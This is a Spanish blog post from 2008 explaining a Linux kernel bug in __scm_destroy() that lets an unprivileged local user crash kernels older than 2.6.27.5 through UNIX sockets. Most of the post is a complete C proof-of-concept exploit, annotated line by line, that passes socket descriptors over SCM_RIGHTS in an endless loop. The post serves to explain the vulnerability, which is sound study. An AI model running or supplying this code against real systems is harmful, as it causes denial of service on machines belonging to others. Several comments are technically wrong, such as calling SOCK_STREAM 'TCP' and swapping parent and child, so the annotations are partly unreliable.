07 diciembre 2008

Kernel panic usando UNIX sockets

Ayer mi colega KaR]V[aN me pasó un enlace a un xploit en milw0rm.

Este xploit, que afecta a las versiones del kernel < 2.6.27.5, permite que un usuario cualquiera provoque un kernel panic haciendo uso de UNIX sockets.

Tirando del hilo, he llegado a este post del bugtrack de Red Hat donde explican que la función bugosa es __scm_destroy():

The problem is that __scm_destroy() can close a socket via fput()
which can lead back into __scm_destroy() and so on and so forth.

Traducido sería:
El problema es que __scm_destroy() puede cerrar un socket a través de fput(), el cual puede volver a __scm_destroy() y así sucesivamente

Como se puede observar, en el primer post explican que lo ocurrido viene de esta lista de correo.

Pues bien, cogiendo el código aportado por Andrea Bittau, he decidido comentarlo detalladamente. Copiad y pegad el siguiente código en vuestro editor de texto favorito para leerlo correctamente (y si puede ser, con una fuente monospace):
// Primero, incluimos las bibliotecas que nos harán falta:
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <assert.h>
#include <err.h>
#include <stdlib.h>

/**
* Crea un fork
* Cierra us[1] como hijo
* Devuelve el PID del hijo
* Cierra us[0] como padre
* Se crea un bucle infinito que:
*     Conecta s[0] con s[1]
*     Envia por us[1] (está conectado al us[0] del hijo) el socket s[0]
*     El hijo en este momento cierra us[0] y lo sobreescribe con s[0] (el cual está conectado a s[1])
*     Cierra s[0] (no pasa nada, la conexión s[1] con el us[0] del hijo prevalece)
*     Cierra us[1] (no pasa nada, la conexión ya la había cerrado el hijo anteriormente)
*     Asigna a us[1] el socket s[1] (por lo que us[1] está conectado con us[0] del hijo)
*/
static int own_child(int *us)
{
    int pid;        // Contendrá el PID del fork creado
    int s[2];        // Un array de dos sockets UNIX
    struct msghdr mh;    // Será el mensaje que enviaremos desde us[1]
    char crap[1024];    // Será el buffer del mensaje de control
    struct iovec iov;    // Será el vector que enviaremos por mh
    struct cmsghdr *c;    // Apuntará hacia el mensaje de control
    int *fd;        // Se usará para apuntar hacia los datos del mensaje de control
    int rc;            // Contendrá el número de bytes enviados

    pid = fork();        // Definimos la variable pid con el PID del hijo
    if (pid == -1)        // Si no conseguimos crear el fork
        err(1, "fork()");    // Salimos del programa con un error

    if (pid) {        // Si somos el hijo
        close(us[1]);        // Cerramos el socket us[1]

        return pid;        // Y retornamos el pid del hijo
    }

    // Si somos el padre:

    close(us[0]);        // Cerramos el socket us[0].

    memset(&mh, 0, sizeof(mh));        // Rellenamos con "0" la región de memoria de la instancia mh
    iov.iov_base = "a";            // Asignamos al vector iov el contenido "a"
    iov.iov_len = 1;            // Asignamos longitud 1 al vector iov

    mh.msg_iov = &iov;        // Enviaremos el contenido del vector iov
    mh.msg_iovlen = 1;            // Informamos sobre la longitud del vector que se enviará
    mh.msg_control = crap;        // Usaremos un buffer de 1024 bytes como mensaje de control
    mh.msg_controllen = sizeof(crap);    // Informamos sobre la longitud del buffer de mensaje de control (1024)

    c = CMSG_FIRSTHDR(&mh);            // Usamos CMSG_FIRSTHDR sobre mh para obtener el mensaje de control y poder modificarlo a nuestro gusto antes de enviarlo
    assert(c);                // Si no obtenemos ningún mensje de control, abortamos el programa

    c->cmsg_level = SOL_SOCKET;        // Al mensaje de control, le asignamos como nivel de sockets SOL_SOCKET (man 7 socket)
    c->cmsg_type = SCM_RIGHTS;        // Al mensaje de control, le asignamos como tipo específico de protocolo SCM_RIGHTS (man 3 cmsg)

    fd = (int*) CMSG_DATA(c);        // CMSG_DATA devuelve el puntero a los datos del mensaje de control. Convertimos dicho puntero (que actulamente es unsigned char*) a un puntero de enteros int* y lo almacenamos en fd
    assert(fd);                // Si no tenemos los datos del mensaje de control, abortamos el programa

    c->cmsg_len = CMSG_LEN(sizeof(int));    // Informamos sobre la longitud de los datos del mensaje de control. En nuestro caso, será la longitud de un entero
    mh.msg_controllen = c->cmsg_len;    // Informamos sobra la misma longitud a mh

    while (1) {        // Bucle infinito
        if (socketpair(PF_UNIX, SOCK_STREAM, 0, s) == -1)        // Conectamos los dos sockets s[0] y s[1] entre sí. Véase `man 2 socketpair`
                                        // Con PF_UNIX hacemos que los dos sockets se conecten por medio del dominio UNIX
                                        // Con SOCK_STREAM definimos el tipo de los dos sockets como TCP

            err(1, "socketpair()");        // Si el socketpair no ha tenido éxito, acabamos el programa mostrando un error

        *fd = s[0];        // Sobreescribimos la región de memoria de los datos del mensaje de control con s[0]

        rc = sendmsg(us[1], &mh, 0);        // Enviamos por el socket us[1] el struct mh
        if (rc == -1)                // Si ha ocurrido algun error
            err(1, "sendmsg()");        // Abortamos el programa

        if (rc != iov.iov_len)            // Si el numero de caracteres enviados no es el tamaño del vector iov
            errx(1, "sent short");        // Abortamos el programa

        close(s[0]);            // Cerramos el socket s[0]
        close(us[1]);            // Cerramos el socket us[1]
        us[1] = s[1];
    }
}

/**
* Creamos dos sockets, us[0] y us[1]
* Conectamos us[0] y us[1]
* Iniciamos own_child, el cual:
*     Cierra us[1] como hijo
*     Devuelve el PID del hijo
*     Cierra us[0] como padre
*     Envia un puntero a un socket por us[1] como padre infinitas veces
* En este momento, somos el hijo (ya que ha retornado un PID y el padre ha quedado en un bucle infinito)
* Nos quedamos a la espera de un mensaje por us[0]
* Al recibir el mensaje, obtenemos el socket que nos está enviando el padre
* Cerramos us[0]
* Le asignamos a us[0] el socket que nos han enviado.
*/
static void own(void)
{
    static int pid;        // Contendrá el PID del hijo creado en own_child()
    static int us[2];    // Un array de dos sockets UNIX
    char crap[1024];    // Buffer del mensaje de control
    char morte[1024];    // Buffer de datos de iov
    struct cmsghdr *c;    // Apuntará hacia el primer mensaje de control
    int rc;            // Contendrá el número de bytes recibidos
    struct msghdr mh;    // Será el mensaje que recibiremos por us[0]
    struct iovec iov;    // Será el vector que recibiremos por mh
    int *fds;        // Apuntará a los datos del mensaje de control

    if (!pid) {    // Si no tenemos definido un pid
        if (socketpair(PF_UNIX, SOCK_STREAM, 0, us) == -1)        // Conectamos los dos sockets us[0] y us[1] entre sí. Véase `man 2 socketpair`.
                                        // Con PF_UNIX hacemos que los dos sockets se conecten por medio del dominio UNIX.
                                        // Con SOCK_STREAM definimos el tipo de los dos sockets como TCP.

            err(1, "socketpair()");        // Si el socketpair no ha tenido éxito, acabamos el programa mostrando un error.
        pid = own_child(us);        // Definimos la variable pid como el PID del hijo creado en own_child()
    }

    iov.iov_base = morte;        // Asignaremos el buffer "morte" al vector que enviaremos por mh
    iov.iov_len = sizeof(morte);    // Informamos sobre la longitud de dicho vector (1024 bytes)

    memset(&mh, 0, sizeof(mh));        // Rellenamos con "0" toda la región de memoria de la instancia mh
    mh.msg_iov = &iov;        // Asignamos como vector a enviar por mh, el vector iov
    mh.msg_iovlen = 1;            // Definimos la longitud del vector que vayamos a enviar (nótese que definimos 1 cuando el vector mide 1024)
    mh.msg_control = crap;        // Asignamos como mensaje de control el buffer crap (1024 bytes)
    mh.msg_controllen = sizeof(crap);    // Informamos sobre la longitud del mensaje de control (1024 bytes)

    rc = recvmsg(us[0], &mh, 0);        // Nos quedamos a la espera de recibir un mensaje por us[0] y guardarlo en mh
                        // Nótese que en own_child le estamos enviando el mensaje con un mensaje de control modificado
    if (rc == -1)                // Si hay algún error en la transferencia
        err(1, "recvmsg()");        // Abortamos el programa

    if (rc == 0)                // Si hemos recibido un mensaje vacío
        errx(1, "EOF");            // Abortamos el programa

    c = CMSG_FIRSTHDR(&mh);            // Obtenemos un puntero hacia el mensaje de control de mh
    assert(c);                // Si no obtenemos el mensaje de control, abortamos el programa
    assert(c->cmsg_type == SCM_RIGHTS);    // Si el mensaje de control no es del tipo SCM_RIGHTS, abortamos el programa (debería serlo, así lo especificamos en own_child()

    fds = (int*) CMSG_DATA(c);        // Hacemos que fds apunte a los datos del mensaje de control (haciendo un cast desde unsigned char* a int*)
    assert(fds);                // Si no obtenemos los datos del mensaje de control, abortamos el programa

    close(us[0]);                // Cerramos el socket us[0]
    us[0] = *fds;                // Hacemos que us[0] sea el socket que hemos recibido por el mensaje
}

/**
* Inicio del programa.
*/
int main(int argc, char *argv[])
{
    own();        // Realizamos una llamada a la función own()
    exit(0);    // Salimos
}